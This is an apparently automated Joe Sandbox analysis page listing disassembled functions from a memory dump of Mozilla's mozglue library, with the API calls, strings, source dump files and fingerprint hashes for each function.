Instruction ID: 2d7fcfab12015ce838de6e1e97ae830886994c597b24795a6632c4aa4fd79093
Opcode Fuzzy Hash: 3a8ceca0acb3dc73cc602349931d155c651754cd6084dcbf49cde82c7e6b5577
Instruction Fuzzy Hash: 6E710470A017469FDB04CF29D4547AABBB1FF96304F504A6DD8154BB81D730EA98CBE2

Function 6C96B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C96B0A6,6C96B0A6,?,6C96AF67,?,00000010,?,6C96AF67,?,00000010,00000000,?,?,6C96AB1F), ref: 6C96B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C96B0A6,6C96B0A6,?,6C96AF67,?,00000010,?,6C96AF67,?,00000010,00000000,?), ref: 6C96B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C96B0A6,6C96B0A6,?,6C96AF67,?,00000010,?,6C96AF67,?,00000010), ref: 6C96B25F

Strings

map/set<T> too long, xrefs: 6C96B1FA

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 542d2e1a1851f1d2308b1293d1e81dbeb5b0fb46231605a984cb1750bf829775
Instruction ID: 4d95d6cccd0446c1375423643eac4166e487f0ca0d90be82f2ecc83d9a32938b
Opcode Fuzzy Hash: 542d2e1a1851f1d2308b1293d1e81dbeb5b0fb46231605a984cb1750bf829775
Instruction Fuzzy Hash: 8C61CD346042459FE701CF1AC880A9ABBF5FF5A318F19C199E8588FB92E331ED45CB91

Function 6C92D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C93CBE8: GetCurrentProcess.KERNEL32(?,6C9031A7), ref: 6C93CBF1
Part of subcall function 6C93CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9031A7), ref: 6C93CBFA

EnterCriticalSection.KERNEL32(6C98E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C93D1C5), ref: 6C92D4F2
LeaveCriticalSection.KERNEL32(6C98E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C93D1C5), ref: 6C92D50B

Part of subcall function 6C90CFE0: EnterCriticalSection.KERNEL32(6C98E784), ref: 6C90CFF6
Part of subcall function 6C90CFE0: LeaveCriticalSection.KERNEL32(6C98E784), ref: 6C90D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C93D1C5), ref: 6C92D52E
EnterCriticalSection.KERNEL32(6C98E7DC), ref: 6C92D690
LeaveCriticalSection.KERNEL32(6C98E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C93D1C5), ref: 6C92D751

Strings

MOZ_CRASH(), xrefs: 6C92D4BB

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 84131ed9c069120f6ada449b5d8d82eb61e5c2119c2c5279a5353ad258039f79
Instruction ID: b479c9e1a13425b566167ed8aae47a3fd64c990e25e6d2783781bd2e25f27fba
Opcode Fuzzy Hash: 84131ed9c069120f6ada449b5d8d82eb61e5c2119c2c5279a5353ad258039f79
Instruction Fuzzy Hash: AD51F372A09B118FD714CF28C09461AB7F5EF8A704F644E2ED59AC7B88D774E800CB91

Function 6C954630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C954721

Strings

-%llu, xrefs: 6C954733
profiler-paused, xrefs: 6C9546E4
., xrefs: 6C95476A

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: bc1572764893b405656411ee95bd8e767233a9812efd719e7f99b3f32e658e21
Instruction ID: fb9ae6e3a1080eccf29451a7500c04c7874fdd823cbf97a118ae73e67d064f76
Opcode Fuzzy Hash: bc1572764893b405656411ee95bd8e767233a9812efd719e7f99b3f32e658e21
Instruction Fuzzy Hash: BD415872A097149FC708CF78D85115EB7F5EB95744F50863DE8496BB81E730D8248B91

Function 6C979830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C97985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C97987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C9798DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C9798D9

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: fad622ee960b758476b3b99a62af9afdcc11aee9514a814707d3132e3fbb43fe
Instruction ID: 0e21fa4204111f5c6a18b1391e194073db2025eaccec07835037dd2ab4690c92
Opcode Fuzzy Hash: fad622ee960b758476b3b99a62af9afdcc11aee9514a814707d3132e3fbb43fe
Instruction Fuzzy Hash: DE313572A00218AFDF14AF58D8009EE77B9DF95718F50846DEA1A9BB40DB31D904CBE1

Function 6C9546E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C954721

Part of subcall function 6C904410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C943EBD,00000017,?,00000000,?,6C943EBD,?,?,6C9042D2), ref: 6C904444

Strings

-%llu, xrefs: 6C954733
profiler-paused, xrefs: 6C9546E4
., xrefs: 6C95476A

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 0c6b33f5a42314bf95384719d7ecfc2195ae437ec2a0919776c1445b97ad6950
Instruction ID: 0598eb26114bf004161e77874b5c45da504e09a4d4d8f0e2d20055b4f33d93db
Opcode Fuzzy Hash: 0c6b33f5a42314bf95384719d7ecfc2195ae437ec2a0919776c1445b97ad6950
Instruction Fuzzy Hash: C5313771F053189FCB08CF6CD8912AEBBE6DB99714F54853EE8099BB41EB70D9148B90

Function 6C95B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C904290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C943EBD,6C943EBD,00000000), ref: 6C9042A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C95B127), ref: 6C95B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C95B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C95B4E4

Strings

pid:, xrefs: 6C95B4DE

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: bb08901c1617f55a70fd857e20fc5fbb5ba5a91c4230ed760323240ffb5d1920
Instruction ID: 30d1f807f280833683f5e5674a48ba731e2c3975c93410fe7d4d455aa20e4982
Opcode Fuzzy Hash: bb08901c1617f55a70fd857e20fc5fbb5ba5a91c4230ed760323240ffb5d1920
Instruction Fuzzy Hash: C8314831A01208DFCB20DFA9D880AEEB7B9FF55308F940929D91167B40D731E865CBE1

Function 6C94E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C94E577
AcquireSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C94E584
ReleaseSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C94E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C94E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C94E826, 6C94E850
MOZ_PROFILER_STARTUP, xrefs: 6C94E5A1, 6C94E5CC, 6C94E5FF, 6C94E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C94E777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C94E655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C94E722, 6C94E750, 6C94E7A2

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 49fd218d225ae44e3c158a9c452ae8d03fc0f87893d45572a86e36a95076cac8
Instruction ID: 0a7dec9257b5234f397a4126c874ccff3f9765a36bcc2fd0783b3697fbb8ef86
Opcode Fuzzy Hash: 49fd218d225ae44e3c158a9c452ae8d03fc0f87893d45572a86e36a95076cac8
Instruction Fuzzy Hash: B211A13260A354DFCB00DF24C848A59BBB8FB8A32CF245E1AE85587B51D774E804CBD1

Function 6C950C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C950CD5

Part of subcall function 6C93F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C93F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C950D40
free.MOZGLUE ref: 6C950DCB

Part of subcall function 6C925E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C925EDB
Part of subcall function 6C925E90: memset.VCRUNTIME140(6C967765,000000E5,55CCCCCC), ref: 6C925F27
Part of subcall function 6C925E90: LeaveCriticalSection.KERNEL32(?), ref: 6C925FB2

free.MOZGLUE ref: 6C950DDD
free.MOZGLUE ref: 6C950DF2

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: a2fc22bca029fae25d11a0f1e34de2a16b52c99405bdee8ea0befbc1d5c48f3a
Instruction ID: 5ac64cbe790cd9b353831b6fb95cbabbb57f94e8c01e7e82dd4e5102d84d7b29
Opcode Fuzzy Hash: a2fc22bca029fae25d11a0f1e34de2a16b52c99405bdee8ea0befbc1d5c48f3a
Instruction Fuzzy Hash: 484124719197809BD320CF29C0807AEFBE9BF99618F519A2EE8D887B10D770D454CB92

Function 6C940800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C98E7DC), ref: 6C940838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C94084C
EnterCriticalSection.KERNEL32(?), ref: 6C9408AF
LeaveCriticalSection.KERNEL32(?), ref: 6C9408BD
LeaveCriticalSection.KERNEL32(6C98E7DC), ref: 6C9408D5

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 31ac05437165f3f933968c65a9b181d477d990ee13e72e4526864c0c7f091a83
Instruction ID: 14fbc7836172600c48ff1ee0142c30560bac1dc45c0444240959ab5985cec30b
Opcode Fuzzy Hash: 31ac05437165f3f933968c65a9b181d477d990ee13e72e4526864c0c7f091a83
Instruction Fuzzy Hash: CE21F231B062099BEF04CF65DC54BAE7379BF96708F644968D509A7B01DF32E8048BD0

Function 6C95CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C94DA31,00100000,?,?,00000000,?), ref: 6C95CDA4

Part of subcall function 6C91CA10: malloc.MOZGLUE(?), ref: 6C91CA26

Part of subcall function 6C95D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C95CDBA,00100000,?,00000000,?,6C94DA31,00100000,?,?,00000000,?), ref: 6C95D158
Part of subcall function 6C95D130: InitializeConditionVariable.KERNEL32(00000098,?,6C95CDBA,00100000,?,00000000,?,6C94DA31,00100000,?,?,00000000,?), ref: 6C95D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C94DA31,00100000,?,?,00000000,?), ref: 6C95CDC4

Part of subcall function 6C957480: ReleaseSRWLockExclusive.KERNEL32(?,6C9615FC,?,?,?,?,6C9615FC,?), ref: 6C9574EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C94DA31,00100000,?,?,00000000,?), ref: 6C95CECC

Part of subcall function 6C91CA10: mozalloc_abort.MOZGLUE(?), ref: 6C91CAA2

Part of subcall function 6C94CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C95CEEA,?,?,?,?,00000000,?,6C94DA31,00100000,?,?,00000000), ref: 6C94CB57
Part of subcall function 6C94CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C94CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C95CEEA,?,?), ref: 6C94CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C94DA31,00100000,?,?,00000000,?), ref: 6C95D058

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 80b8dec6edf08381f0fd6e8fb5c9447b025fd503bdbba074d38fb8ef55594959
Instruction ID: 575cbfb4081d00d5ebbd7bef32a2dcdd2428e90687ff0bcff5677e092571c302
Opcode Fuzzy Hash: 80b8dec6edf08381f0fd6e8fb5c9447b025fd503bdbba074d38fb8ef55594959
Instruction Fuzzy Hash: ECD16F71A04B069FD708CF28C5807A9F7E1BF99308F51862DD8598B712EB31E9A5CBC1

Function 6C911720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C9117B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C9118EE
free.MOZGLUE(?), ref: 6C911911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C91194C

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: e3721b42b0eaa981a2664a0236a9393bb81d7e4d38ee6a54d083c390785bb0f3
Instruction ID: 23445266c2f308497d49a2bf178a057ef362108f2b8ed831ca0a560f17e1f92e
Opcode Fuzzy Hash: e3721b42b0eaa981a2664a0236a9393bb81d7e4d38ee6a54d083c390785bb0f3
Instruction Fuzzy Hash: 2381E770A19209AFCB08CF68D8955BEBBB1FF9A314F04856CE851ABB54D730D944CBA1

Function 6C925C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C925D40
EnterCriticalSection.KERNEL32(6C98F688), ref: 6C925D67
__aulldiv.LIBCMT ref: 6C925DB4
LeaveCriticalSection.KERNEL32(6C98F688), ref: 6C925DED

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: bbb5f3a309b7c3af147bb4187a2d9c7bd4848080769d416d7860da222125c722
Instruction ID: 0b1f9d5dccf9f731a91ae246d6d3c6b08a72601449025646ce55ad3a59874d94
Opcode Fuzzy Hash: bbb5f3a309b7c3af147bb4187a2d9c7bd4848080769d416d7860da222125c722
Instruction Fuzzy Hash: 1C518171E151598FCF08CFA8C854ABEBBB1FB86308F298A1DC851A7759C734A945CBD0

Function 6C90CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C90CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C90CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C90CF4E

Strings

0, xrefs: 6C90CF30

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: fbc34003dd6a83fa3e49cec0f4656b29229cffbd0fcadca7074ce891261b7018
Instruction ID: 6f3c05d382d77b2149d879f6e77d115a7959bcfb7e3b918a4cc422fc106f1203
Opcode Fuzzy Hash: fbc34003dd6a83fa3e49cec0f4656b29229cffbd0fcadca7074ce891261b7018
Instruction Fuzzy Hash: F2511275A0425A8FCB00CF18C890AAABBB5FF99300F29859DD8595F752D731ED06CBE1

Function 6C9677D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9677FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C967829

Part of subcall function 6C93CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C9031A7), ref: 6C93CC45
Part of subcall function 6C93CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C9031A7), ref: 6C93CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C96789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9678CF

Part of subcall function 6C904DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C904E5A
Part of subcall function 6C904DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C904E97

Part of subcall function 6C904290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C943EBD,6C943EBD,00000000), ref: 6C9042A9

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: a72d47e82e2224887d75a8fc7c1f9eaa3f1b012ae7271c1db1daef1cc9dae3f0
Instruction ID: 3cf25874fcf84099dcad0d62ad31778a12edbf8fa8db2b14710f6c204e32bc49
Opcode Fuzzy Hash: a72d47e82e2224887d75a8fc7c1f9eaa3f1b012ae7271c1db1daef1cc9dae3f0
Instruction Fuzzy Hash: BA41A171909B469BD300DF29C48056AFBF4FFDA354F204A2DE4A987B80DB70D959CB92

Function 6C946470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C9482BC,?,?), ref: 6C94649B

Part of subcall function 6C91CA10: malloc.MOZGLUE(?), ref: 6C91CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9464A9

Part of subcall function 6C93FA80: GetCurrentThreadId.KERNEL32 ref: 6C93FA8D
Part of subcall function 6C93FA80: AcquireSRWLockExclusive.KERNEL32(6C98F448), ref: 6C93FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C94653F
free.MOZGLUE(?), ref: 6C94655A

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: e7a595775cb040f21b0d7fb02988ec92122bd7646a941ac33444680f4d1c9977
Instruction ID: 4050cd1682df92ff4628c05c9abd44d286effb9e4882af34d9d397bce2e89ee2
